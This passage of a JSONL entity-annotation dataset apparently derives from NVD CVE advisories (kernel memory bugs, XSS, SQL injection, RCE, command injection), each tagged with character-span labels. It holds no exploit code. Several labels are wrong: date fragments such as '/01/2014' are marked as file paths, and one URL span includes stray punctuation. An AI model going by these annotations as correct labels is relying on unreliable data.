"FILEPATH: cupsd.conf": [[767, 777]], "FILEPATH: files.conf": [[787, 797], [873, 883]], "SYSTEM: Linux": [[56, 61]], "ORGANIZATION: Ubuntu": [[522, 528], [1075, 1081]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-35235"}}
{"text": "Vulnerability in the Oracle CRM Technical Foundation product of Oracle E-Business Suite (component: Preferences). Supported versions that are affected are 12.1.3 and 12.2.3-12.2.10. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle CRM Technical Foundation. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle CRM Technical Foundation, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle CRM Technical Foundation accessible data as well as unauthorized update, insert or delete access to some of Oracle CRM Technical Foundation accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [64, 70], [290, 296], [440, 446], [645, 651], [760, 766]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-2085"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: fix nfs4_openowner leak when concurrent nfsd4_open occur\n\nThe action force umount(umount -f) will attempt to kill all rpc_task even\numount operation may ultimately fail if some files remain open.\nConsequently, if an action attempts to open a file, it can potentially\nsend two rpc_task to nfs server.\n\n                   NFS CLIENT\nthread1                             thread2\nopen(\"file\")\n...\nnfs4_do_open\n _nfs4_do_open\n  _nfs4_open_and_get_state\n   _nfs4_proc_open\n    nfs4_run_open_task\n     /* rpc_task1 */\n     rpc_run_task\n     rpc_wait_for_completion_task\n\n                                    umount -f\n                                    nfs_umount_begin\n                                     rpc_killall_tasks\n                                      rpc_signal_task\n     rpc_task1 been wakeup\n     and return -512\n _nfs4_do_open // while loop\n    ...\n    nfs4_run_open_task\n     /* rpc_task2 */\n     rpc_run_task\n     rpc_wait_for_completion_task\n\nWhile processing an open request, nfsd will first attempt to find or\nallocate an nfs4_openowner. If it finds an nfs4_openowner that is not\nmarked as NFS4_OO_CONFIRMED, this nfs4_openowner will released. Since\ntwo rpc_task can attempt to open the same file simultaneously from the\nclient to server, and because two instances of nfsd can run\nconcurrently, this situation can lead to lots of memory leak.\nAdditionally, when we echo 0 to /proc/fs/nfsd/threads, warning will be\ntriggered.\n\n                    NFS SERVER\nnfsd1                  nfsd2       echo 0 > /proc/fs/nfsd/threads\n\nnfsd4_open\n nfsd4_process_open1\n  find_or_alloc_open_stateowner\n   // alloc oo1, stateid1\n                       nfsd4_open\n                        nfsd4_process_open1\n                        find_or_alloc_open_stateowner\n                        // find oo1, without NFS4_OO_CONFIRMED\n                         release_openowner\n                          unhash_openowner_locked\n                          list_del_init(&oo->oo_perclient)\n                          // cannot find this oo\n                          // from client, LEAK!!!\n                         alloc_stateowner // alloc oo2\n\n nfsd4_process_open2\n  init_open_stateid\n  // associate oo1\n  // with stateid1, stateid1 LEAK!!!\n  nfs4_get_vfs_file\n  // alloc nfsd_file1 and nfsd_file_mark1\n  // all LEAK!!!\n\n                         nfsd4_process_open2\n                         ...\n\n                                    write_threads\n                                     ...\n                                     nfsd_destroy_serv\n                                      nfsd_shutdown_net\n                                       nfs4_state_shutdown_net\n                                        nfs4_state_destroy_net\n                                         destroy_client\n                                          __destroy_client\n                                          // won't find oo1!!!\n                                     nfsd_shutdown_generic\n                                      nfsd_file_cache_shutdown\n                                       kmem_cache_destroy\n                                       for nfsd_file_slab\n                                       and nfsd_file_mark_slab\n                                       // bark since nfsd_file1\n                                       // and nfsd_file_mark1\n                                       // still alive\n\n=======================================================================\nBUG nfsd_file (Not tainted): Objects remaining in nfsd_file on\n__kmem_cache_shutdown()\n-----------------------------------------------------------------------\n\nSlab 0xffd4000004438a80 objects=34 used=1 fp=0xff11000110e2ad28\nflags=0x17ffffc0000240(workingset|head|node=0|zone=2|lastcpupid=0x1fffff)\nCPU: 4 UID: 0 PID: 757 Comm: sh Not tainted 6.12.0-rc6+ #19\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS\n1.16.1-2.fc37 04/01/2014\nCall Trace:\n <TASK>\n dum\n---truncated---", "spans": {"FILEPATH: /proc/fs/nfsd/threads": [[1462, 1483], [1588, 1609]], "FILEPATH: /01/2014": [[3949, 3957]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[3888, 3892]], "VULNERABILITY: memory leak": [[1417, 1428]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-56779"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: HIDP: Fix possible UAF\n\nThis fixes the following trace caused by not dropping l2cap_conn\nreference when user->remove callback is called:\n\n[   97.809249] l2cap_conn_free: freeing conn ffff88810a171c00\n[   97.809907] CPU: 1 UID: 0 PID: 1419 Comm: repro_standalon Not tainted 7.0.0-rc1-dirty #14 PREEMPT(lazy)\n[   97.809935] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1 04/01/2014\n[   97.809947] Call Trace:\n[   97.809954]  <TASK>\n[   97.809961]  dump_stack_lvl (lib/dump_stack.c:122)\n[   97.809990]  l2cap_conn_free (net/bluetooth/l2cap_core.c:1808)\n[   97.810017]  l2cap_conn_del (./include/linux/kref.h:66 net/bluetooth/l2cap_core.c:1821 net/bluetooth/l2cap_core.c:1798)\n[   97.810055]  l2cap_disconn_cfm (net/bluetooth/l2cap_core.c:7347 (discriminator 1) net/bluetooth/l2cap_core.c:7340 (discriminator 1))\n[   97.810086]  ? __pfx_l2cap_disconn_cfm (net/bluetooth/l2cap_core.c:7341)\n[   97.810117]  hci_conn_hash_flush (./include/net/bluetooth/hci_core.h:2152 (discriminator 2) net/bluetooth/hci_conn.c:2644 (discriminator 2))\n[   97.810148]  hci_dev_close_sync (net/bluetooth/hci_sync.c:5360)\n[   97.810180]  ? __pfx_hci_dev_close_sync (net/bluetooth/hci_sync.c:5285)\n[   97.810212]  ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221)\n[   97.810242]  ? up_write (./arch/x86/include/asm/atomic64_64.h:87 (discriminator 5) ./include/linux/atomic/atomic-arch-fallback.h:2852 (discriminator 5) ./include/linux/atomic/atomic-long.h:268 (discriminator 5) ./include/linux/atomic/atomic-instrumented.h:3391 (discriminator 5) kernel/locking/rwsem.c:1385 (discriminator 5) kernel/locking/rwsem.c:1643 (discriminator 5))\n[   97.810267]  ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221)\n[   97.810290]  ? rcu_is_watching (./arch/x86/include/asm/atomic.h:23 ./include/linux/atomic/atomic-arch-fallback.h:457 ./include/linux/context_tracking.h:128 kernel/rcu/tree.c:752)\n[   97.810320]  hci_unregister_dev (net/bluetooth/hci_core.c:504 net/bluetooth/hci_core.c:2716)\n[   97.810346]  vhci_release (drivers/bluetooth/hci_vhci.c:691)\n[   97.810375]  ? __pfx_vhci_release (drivers/bluetooth/hci_vhci.c:678)\n[   97.810404]  __fput (fs/file_table.c:470)\n[   97.810430]  task_work_run (kernel/task_work.c:235)\n[   97.810451]  ? __pfx_task_work_run (kernel/task_work.c:201)\n[   97.810472]  ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221)\n[   97.810495]  ? do_raw_spin_unlock (./include/asm-generic/qspinlock.h:128 (discriminator 5) kernel/locking/spinlock_debug.c:142 (discriminator 5))\n[   97.810527]  do_exit (kernel/exit.c:972)\n[   97.810547]  ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221)\n[   97.810574]  ? __pfx_do_exit (kernel/exit.c:897)\n[   97.810594]  ? lock_acquire (kernel/locking/lockdep.c:470 (discriminator 6) kernel/locking/lockdep.c:5870 (discriminator 6) kernel/locking/lockdep.c:5825 (discriminator 6))\n[   97.810616]  ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221)\n[   97.810639]  ? do_raw_spin_lock (kernel/locking/spinlock_debug.c:95 (discriminator 4) kernel/locking/spinlock_debug.c:118 (discriminator 4))\n[   97.810664]  ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221)\n[   97.810688]  ? find_held_lock (kernel/locking/lockdep.c:5350 (discriminator 1))\n[   97.810721]  do_group_exit (kernel/exit.c:1093)\n[   97.810745]  get_signal (kernel/signal.c:3007 (discriminator 1))\n[   97.810772]  ? security_file_permission (./arch/x86/include/asm/jump_label.h:37 security/security.c:2366)\n[   97.810803]  ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221)\n[   97.810826]  ? vfs_read (fs/read_write.c:555)\n[   97.810854]  ? __pfx_get_signal (kernel/signal.c:2800)\n[   97.810880]  ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221)\n[   97.810905]  ? __pfx_vfs_read (fs/read_write.c:555)\n[   97.810932]  ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221)\n[   97.810960]  arch_do_signal_or_restart (arch/\n---truncated---", "spans": {"FILEPATH: /01/2014": [[487, 495]], "FILEPATH: /bluetooth/l2cap_core.c": [[636, 659], [727, 750], [759, 782], [827, 850], [877, 900], [971, 994]], "FILEPATH: /include/linux/kref.h": [[699, 720]], "FILEPATH: /include/net/bluetooth/hci_core.h": [[1039, 1072]], "FILEPATH: /bluetooth/hci_conn.c": [[1099, 1120]], "FILEPATH: /bluetooth/hci_sync.c": [[1184, 1205], [1259, 1280]], "FILEPATH: /x86/lib/retpoline.S": [[1334, 1354], [1782, 1802], [2432, 2452], [2698, 2718], [2999, 3019], [3216, 3236], [3600, 3620], [3780, 3800], [3908, 3928]], "FILEPATH: /arch/x86/include/asm/atomic64_64.h": [[1389, 1424]], "FILEPATH: /include/linux/atomic/atomic-arch-fallback.h": [[1447, 1491], [1879, 1923]], "FILEPATH: /include/linux/atomic/atomic-long.h": [[1516, 1551]], "FILEPATH: /include/linux/atomic/atomic-instrumented.h": [[1575, 1618]], "FILEPATH: /locking/rwsem.c": [[1648, 1664], [1694, 1710]], "FILEPATH: /arch/x86/include/asm/atomic.h": [[1844, 1874]], "FILEPATH: /include/linux/context_tracking.h": [[1929, 1962]], "FILEPATH: /rcu/tree.c": [[1973, 1984]], "FILEPATH: /bluetooth/hci_core.c": [[2029, 2050], [2058, 2079]], "FILEPATH: /bluetooth/hci_vhci.c": [[2123, 2144], [2195, 2216]], "FILEPATH: /include/asm-generic/qspinlock.h": [[2497, 2529]], "FILEPATH: /locking/spinlock_debug.c": [[2558, 2583], [3067, 3092], [3120, 3145]], "FILEPATH: /locking/lockdep.c": [[2814, 2832], [2861, 2879], [2909, 2927], [3282, 3300]], "FILEPATH: /arch/x86/include/asm/jump_label.h": [[3489, 3523]], "FILEPATH: dump_stack.c": [[582, 594]], "FILEPATH: file_table.c": [[2249, 2261]], "FILEPATH: task_work.c": [[2305, 2316], [2368, 2379]], "FILEPATH: exit.c": [[2639, 2645], [2764, 2770], [3363, 3369]], "FILEPATH: signal.c": [[3411, 3419], [3718, 3726]], "FILEPATH: security.c": [[3536, 3546]], "FILEPATH: read_write.c": [[3657, 3669], [3843, 3855]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[417, 421]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23462"}}
{"text": "WeGIA is an open source web manager with a focus on the Portuguese language and charitable institutions. A Stored Cross-Site Scripting (XSS) vulnerability was identified in the `adicionar_tipo_quadro_horario.php` endpoint of the WeGIA application. This vulnerability allows attackers to inject malicious scripts into the `tipo` parameter. The injected scripts are stored on the server and executed automatically whenever the affected page is accessed by users, posing a significant security risk. The application fails to properly validate and sanitize user inputs in the `adicionar_tipo_quadro_horario.php` parameter. This lack of validation allows attackers to inject malicious scripts, which are then stored on the server. Whenever the affected page is accessed, the malicious payload is executed in the victim's browser, potentially compromising the user's data and system. This issue has been addressed in version 3.2.6. All users are advised to upgrade. There are no known workarounds for this vulnerability.", "spans": {"FILEPATH: adicionar_tipo_quadro_horario.php": [[178, 211], [573, 606]], "VULNERABILITY: Cross-Site Scripting": [[114, 134]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-23035"}}
{"text": "This High severity Remote Code Execution (RCE) vulnerability was introduced in version 2.1.0 of Confluence Data Center and Server.\n\nRemote Code Execution (RCE) vulnerability, with a CVSS Score of 8.3 and a CVSS Vector of CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H allows an unauthenticated attacker to remotely expose assets in your environment susceptible to exploitation which has high impact to confidentiality, high impact to integrity, high impact to availability, and requires user interaction.\n\nAtlassian recommends that Confluence Data Center and Server customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions:\n\n* Confluence Data Center and Server 7.19: Upgrade to a release 7.19.18, or any higher 7.19.x release\n* Confluence Data Center and Server 8.5: Upgrade to a release 8.5.5 or any higher 8.5.x release\n* Confluence Data Center and Server 8.7: Upgrade to a release 8.7.2 or any higher release\n\nSee the release notes (https://confluence.atlassian.com/doc/confluence-release-notes-327.html ). You can download the latest version of Confluence Data Center and Server from the download center (https://www.atlassian.com/software/confluence/download-archives).", "spans": {"URL: https://confluence.atlassian.com/doc/confluence-release-notes-327.html": [[1013, 1083]], "URL: https://www.atlassian.com/software/confluence/download-archives": [[1186, 1249]], "ORGANIZATION: Atlassian": [[504, 513]], "VULNERABILITY: Remote Code Execution": [[19, 40], [132, 153]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-21672"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: fix race between transaction aborts and fsyncs leading to use-after-free\n\nThere is a race between a task aborting a transaction during a commit,\na task doing an fsync and the transaction kthread, which leads to an\nuse-after-free of the log root tree. When this happens, it results in a\nstack trace like the following:\n\n  BTRFS info (device dm-0): forced readonly\n  BTRFS warning (device dm-0): Skipping commit of aborted transaction.\n  BTRFS: error (device dm-0) in cleanup_transaction:1958: errno=-5 IO failure\n  BTRFS warning (device dm-0): lost page write due to IO error on /dev/mapper/error-test (-5)\n  BTRFS warning (device dm-0): Skipping commit of aborted transaction.\n  BTRFS warning (device dm-0): direct IO failed ino 261 rw 0,0 sector 0xa4e8 len 4096 err no 10\n  BTRFS error (device dm-0): error writing primary super block to device 1\n  BTRFS warning (device dm-0): direct IO failed ino 261 rw 0,0 sector 0x12e000 len 4096 err no 10\n  BTRFS warning (device dm-0): direct IO failed ino 261 rw 0,0 sector 0x12e008 len 4096 err no 10\n  BTRFS warning (device dm-0): direct IO failed ino 261 rw 0,0 sector 0x12e010 len 4096 err no 10\n  BTRFS: error (device dm-0) in write_all_supers:4110: errno=-5 IO failure (1 errors while writing supers)\n  BTRFS: error (device dm-0) in btrfs_sync_log:3308: errno=-5 IO failure\n  general protection fault, probably for non-canonical address 0x6b6b6b6b6b6b6b68: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC PTI\n  CPU: 2 PID: 2458471 Comm: fsstress Not tainted 5.12.0-rc5-btrfs-next-84 #1\n  Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org 04/01/2014\n  RIP: 0010:__mutex_lock+0x139/0xa40\n  Code: c0 74 19 (...)\n  RSP: 0018:ffff9f18830d7b00 EFLAGS: 00010202\n  RAX: 6b6b6b6b6b6b6b68 RBX: 0000000000000001 RCX: 0000000000000002\n  RDX: ffffffffb9c54d13 RSI: 0000000000000000 RDI: 0000000000000000\n  RBP: ffff9f18830d7bc0 R08: 0000000000000000 R09: 0000000000000000\n  R10: ffff9f18830d7be0 R11: 0000000000000001 R12: ffff8c6cd199c040\n  R13: ffff8c6c95821358 R14: 00000000fffffffb R15: ffff8c6cbcf01358\n  FS:  00007fa9140c2b80(0000) GS:ffff8c6fac600000(0000) knlGS:0000000000000000\n  CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n  CR2: 00007fa913d52000 CR3: 000000013d2b4003 CR4: 0000000000370ee0\n  DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n  DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n  Call Trace:\n   ? __btrfs_handle_fs_error+0xde/0x146 [btrfs]\n   ? btrfs_sync_log+0x7c1/0xf20 [btrfs]\n   ? btrfs_sync_log+0x7c1/0xf20 [btrfs]\n   btrfs_sync_log+0x7c1/0xf20 [btrfs]\n   btrfs_sync_file+0x40c/0x580 [btrfs]\n   do_fsync+0x38/0x70\n   __x64_sys_fsync+0x10/0x20\n   do_syscall_64+0x33/0x80\n   entry_SYSCALL_64_after_hwframe+0x44/0xae\n  RIP: 0033:0x7fa9142a55c3\n  Code: 8b 15 09 (...)\n  RSP: 002b:00007fff26278d48 EFLAGS: 00000246 ORIG_RAX: 000000000000004a\n  RAX: ffffffffffffffda RBX: 0000563c83cb4560 RCX: 00007fa9142a55c3\n  RDX: 00007fff26278cb0 RSI: 00007fff26278cb0 RDI: 0000000000000005\n  RBP: 0000000000000005 R08: 0000000000000001 R09: 00007fff26278d5c\n  R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000340\n  R13: 00007fff26278de0 R14: 00007fff26278d96 R15: 0000563c83ca57c0\n  Modules linked in: btrfs dm_zero dm_snapshot dm_thin_pool (...)\n  ---[ end trace ee2f1b19327d791d ]---\n\nThe steps that lead to this crash are the following:\n\n1) We are at transaction N;\n\n2) We have two tasks with a transaction handle attached to transaction N.\n   Task A and Task B. Task B is doing an fsync;\n\n3) Task B is at btrfs_sync_log(), and has saved fs_info->log_root_tree\n   into a local variable named 'log_root_tree' at the top of\n   btrfs_sync_log(). Task B is about to call write_all_supers(), but\n   before that...\n\n4) Task A calls btrfs_commit_transaction(), and after it sets the\n   transaction state to TRANS_STATE_COMMIT_START, an error happens before\n   it w\n---truncated---", "spans": {"DOMAIN: rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org": [[1662, 1706]], "FILEPATH: /dev/mapper/error-test": [[654, 676]], "FILEPATH: /01/2014": [[1709, 1717]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1617, 1621]], "VULNERABILITY: use-after-free": [[134, 148], [290, 304]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-46958"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: fix failure to rebuild free space tree using multiple transactions\n\nIf we are rebuilding a free space tree, while modifying the free space\ntree we may need to allocate a new metadata block group.\nIf we end up using multiple transactions for the rebuild, when we call\nbtrfs_end_transaction() we enter btrfs_create_pending_block_groups()\nwhich calls add_block_group_free_space() to add items to the free space\ntree for the block group.\n\nThen later during the free space tree rebuild, at\nbtrfs_rebuild_free_space_tree(), we may find such new block groups\nand call populate_free_space_tree() for them, which fails with -EEXIST\nbecause there are already items in the free space tree. Then we abort the\ntransaction with -EEXIST at btrfs_rebuild_free_space_tree().\nNotice that we say \"may find\" the new block groups because a new block\ngroup may be inserted in the block groups rbtree, which is being iterated\nby the rebuild process, before or after the current node where the rebuild\nprocess is currently at.\n\nSyzbot recently reported such case which produces a trace like the\nfollowing:\n\n  ------------[ cut here ]------------\n  BTRFS: Transaction aborted (error -17)\n  WARNING: CPU: 1 PID: 7626 at fs/btrfs/free-space-tree.c:1341 btrfs_rebuild_free_space_tree+0x470/0x54c fs/btrfs/free-space-tree.c:1341\n  Modules linked in:\n  CPU: 1 UID: 0 PID: 7626 Comm: syz.2.25 Not tainted 6.15.0-rc7-syzkaller-00085-gd7fa1af5b33e-dirty #0 PREEMPT\n  Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 05/07/2025\n  pstate: 60400005 (nZCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n  pc : btrfs_rebuild_free_space_tree+0x470/0x54c fs/btrfs/free-space-tree.c:1341\n  lr : btrfs_rebuild_free_space_tree+0x470/0x54c fs/btrfs/free-space-tree.c:1341\n  sp : ffff80009c4f7740\n  x29: ffff80009c4f77b0 x28: ffff0000d4c3f400 x27: 0000000000000000\n  x26: dfff800000000000 x25: ffff70001389eee8 x24: 0000000000000003\n  x23: 1fffe000182b6e7b x22: 0000000000000000 x21: ffff0000c15b73d8\n  x20: 00000000ffffffef x19: ffff0000c15b7378 x18: 1fffe0003386f276\n  x17: ffff80008f31e000 x16: ffff80008adbe98c x15: 0000000000000001\n  x14: 1fffe0001b281550 x13: 0000000000000000 x12: 0000000000000000\n  x11: ffff60001b281551 x10: 0000000000000003 x9 : 1c8922000a902c00\n  x8 : 1c8922000a902c00 x7 : ffff800080485878 x6 : 0000000000000000\n  x5 : 0000000000000001 x4 : 0000000000000001 x3 : ffff80008047843c\n  x2 : 0000000000000001 x1 : ffff80008b3ebc40 x0 : 0000000000000001\n  Call trace:\n   btrfs_rebuild_free_space_tree+0x470/0x54c fs/btrfs/free-space-tree.c:1341 (P)\n   btrfs_start_pre_rw_mount+0xa78/0xe10 fs/btrfs/disk-io.c:3074\n   btrfs_remount_rw fs/btrfs/super.c:1319 [inline]\n   btrfs_reconfigure+0x828/0x2418 fs/btrfs/super.c:1543\n   reconfigure_super+0x1d4/0x6f0 fs/super.c:1083\n   do_remount fs/namespace.c:3365 [inline]\n   path_mount+0xb34/0xde0 fs/namespace.c:4200\n   do_mount fs/namespace.c:4221 [inline]\n   __do_sys_mount fs/namespace.c:4432 [inline]\n   __se_sys_mount fs/namespace.c:4409 [inline]\n   __arm64_sys_mount+0x3e8/0x468 fs/namespace.c:4409\n   __invoke_syscall arch/arm64/kernel/syscall.c:35 [inline]\n   invoke_syscall+0x98/0x2b8 arch/arm64/kernel/syscall.c:49\n   el0_svc_common+0x130/0x23c arch/arm64/kernel/syscall.c:132\n   do_el0_svc+0x48/0x58 arch/arm64/kernel/syscall.c:151\n   el0_svc+0x58/0x17c arch/arm64/kernel/entry-common.c:767\n   el0t_64_sync_handler+0x78/0x108 arch/arm64/kernel/entry-common.c:786\n   el0t_64_sync+0x198/0x19c arch/arm64/kernel/entry.S:600\n  irq event stamp: 330\n  hardirqs last  enabled at (329): [<ffff80008048590c>] raw_spin_rq_unlock_irq kernel/sched/sched.h:1525 [inline]\n  hardirqs last  enabled at (329): [<ffff80008048590c>] finish_lock_switch+0xb0/0x1c0 kernel/sched/core.c:5130\n  hardirqs last disabled at (330): [<ffff80008adb9e60>] el1_dbg+0x24/0x80 arch/arm64/kernel/entry-common.c:511\n  softirqs last  enabled at (10): [<ffff8000801fbf10>] local_bh_enable+0\n---truncated---", "spans": {"FILEPATH: /btrfs/free-space-tree.c": [[1272, 1296], [1346, 1370], [1717, 1741], [1798, 1822], [2593, 2617]], "FILEPATH: /07/2025": [[1591, 1599]], "FILEPATH: /btrfs/disk-io.c": [[2669, 2685]], "FILEPATH: /btrfs/super.c": [[2713, 2727], [2778, 2792]], "FILEPATH: /arm64/kernel/syscall.c": [[3148, 3171], [3217, 3240], [3278, 3301], [3334, 3357]], "FILEPATH: /arm64/kernel/entry-common.c": [[3388, 3416], [3460, 3488], [3877, 3905]], "FILEPATH: /arm64/kernel/entry.S": [[3525, 3546]], "FILEPATH: /sched/sched.h": [[3659, 3673]], "FILEPATH: /sched/core.c": [[3780, 3793]], "FILEPATH: super.c": [[2834, 2841]], "FILEPATH: namespace.c": [[2864, 2875], [2919, 2930], [2951, 2962], [2998, 3009], [3045, 3056], [3107, 3118]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[1525, 1531], [1532, 1538], [1554, 1560], [1582, 1588]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38370"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/msm: Fix GEM free for imported dma-bufs\n\nImported dma-bufs also have obj->resv != &obj->_resv.  So we should\ncheck both this condition in addition to flags for handling the\n_NO_SHARE case.\n\nFixes this splat that was reported with IRIS video playback:\n\n    ------------[ cut here ]------------\n    WARNING: CPU: 3 PID: 2040 at drivers/gpu/drm/msm/msm_gem.c:1127 msm_gem_free_object+0x1f8/0x264 [msm]\n    CPU: 3 UID: 1000 PID: 2040 Comm: .gnome-shell-wr Not tainted 6.17.0-rc7 #1 PREEMPT\n    pstate: 81400005 (Nzcv daif +PAN -UAO -TCO +DIT -SSBS BTYPE=--)\n    pc : msm_gem_free_object+0x1f8/0x264 [msm]\n    lr : msm_gem_free_object+0x138/0x264 [msm]\n    sp : ffff800092a1bb30\n    x29: ffff800092a1bb80 x28: ffff800092a1bce8 x27: ffffbc702dbdbe08\n    x26: 0000000000000008 x25: 0000000000000009 x24: 00000000000000a6\n    x23: ffff00083c72f850 x22: ffff00083c72f868 x21: ffff00087e69f200\n    x20: ffff00087e69f330 x19: ffff00084d157ae0 x18: 0000000000000000\n    x17: 0000000000000000 x16: ffffbc704bd46b80 x15: 0000ffffd0959540\n    x14: 0000000000000000 x13: 0000000000000000 x12: 0000000000000000\n    x11: ffffbc702e6cdb48 x10: 0000000000000000 x9 : 000000000000003f\n    x8 : ffff800092a1ba90 x7 : 0000000000000000 x6 : 0000000000000020\n    x5 : ffffbc704bd46c40 x4 : fffffdffe102cf60 x3 : 0000000000400032\n    x2 : 0000000000020000 x1 : ffff00087e6978e8 x0 : ffff00087e6977e8\n    Call trace:\n     msm_gem_free_object+0x1f8/0x264 [msm] (P)\n     drm_gem_object_free+0x1c/0x30 [drm]\n     drm_gem_object_handle_put_unlocked+0x138/0x150 [drm]\n     drm_gem_object_release_handle+0x5c/0xcc [drm]\n     drm_gem_handle_delete+0x68/0xbc [drm]\n     drm_gem_close_ioctl+0x34/0x40 [drm]\n     drm_ioctl_kernel+0xc0/0x130 [drm]\n     drm_ioctl+0x360/0x4e0 [drm]\n     __arm64_sys_ioctl+0xac/0x104\n     invoke_syscall+0x48/0x104\n     el0_svc_common.constprop.0+0x40/0xe0\n     do_el0_svc+0x1c/0x28\n     el0_svc+0x34/0xec\n     el0t_64_sync_handler+0xa0/0xe4\n     el0t_64_sync+0x198/0x19c\n    ---[ end trace 0000000000000000 ]---\n    ------------[ cut here ]------------\n\nPatchwork: https://patchwork.freedesktop.org/patch/676273/", "spans": {"URL: https://patchwork.freedesktop.org/patch/676273/": [[2132, 2179]], "FILEPATH: /gpu/drm/msm/msm_gem.c": [[406, 428]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-68189"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. The implementation of `tf.raw_ops.MaxPoolGrad` is vulnerable to a heap buffer overflow. The implementation(https://github.com/tensorflow/tensorflow/blob/ab1e644b48c82cb71493f4362b4dd38f4577a1cf/tensorflow/core/kernels/maxpooling_op.cc#L194-L203) fails to validate that indices used to access elements of input/output arrays are valid. Whereas accesses to `input_backprop_flat` are guarded by `FastBoundsCheck`, the indexing in `out_backprop_flat` can result in OOB access. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/ab1e644b48c82cb71493f4362b4dd38f4577a1cf/tensorflow/core/kernels/maxpooling_op.cc#L194-L203": [[178, 315]], "VULNERABILITY: buffer overflow": [[142, 157]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29579"}}
{"text": "Soko if the code that powers packages.gentoo.org. Prior to version 1.0.2, the two package search handlers, `Search` and `SearchFeed`, implemented in `pkg/app/handler/packages/search.go`, are affected by a SQL injection via the `q` parameter. As a result, unauthenticated attackers can execute arbitrary SQL queries on `https://packages.gentoo.org/`. It was also demonstrated that primitive was enough to gain code execution in the context of the PostgreSQL container. The issue was addressed in commit `4fa6e4b619c0362728955b6ec56eab0e0cbf1e23y` of version 1.0.2 using prepared statements to interpolate user-controlled data in SQL queries.", "spans": {"URL: https://packages.gentoo.org/`.": [[319, 349]], "DOMAIN: packages.gentoo.org": [[29, 48]], "FILEPATH: /app/handler/packages/search.go": [[153, 184]], "SYSTEM: PostgreSQL": [[446, 456]], "VULNERABILITY: code execution": [[409, 423]], "VULNERABILITY: SQL injection": [[205, 218]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-28424"}}
{"text": "A command injection vulnerability in tcpdump command processing on Juniper Networks Junos OS Evolved allows an attacker with authenticated CLI access to be able to bypass configured access protections to execute arbitrary shell commands within the context of the current user. The vulnerability allows an attacker to bypass command authorization restrictions assigned to their specific user account and execute commands that are available to the privilege level for which the user is assigned. For example, a user that is in the super-user login class, but restricted to executing specific CLI commands could exploit the vulnerability to execute any other command available to an unrestricted admin user. This vulnerability does not increase the privilege level of the user, but rather bypasses any CLI command restrictions by allowing full access to the shell. This issue affects Juniper Networks Junos OS Evolved: All versions prior to 20.3R2-S1-EVO; 20.4 versions prior to 20.4R2-S2-EVO; 21.1 versions prior to 21.1R2-EVO; 21.2 versions prior to 21.2R1-S1-EVO, 21.2R2-EVO.", "spans": {"ORGANIZATION: Juniper": [[67, 74], [881, 888]], "VULNERABILITY: command injection": [[2, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-31357"}}
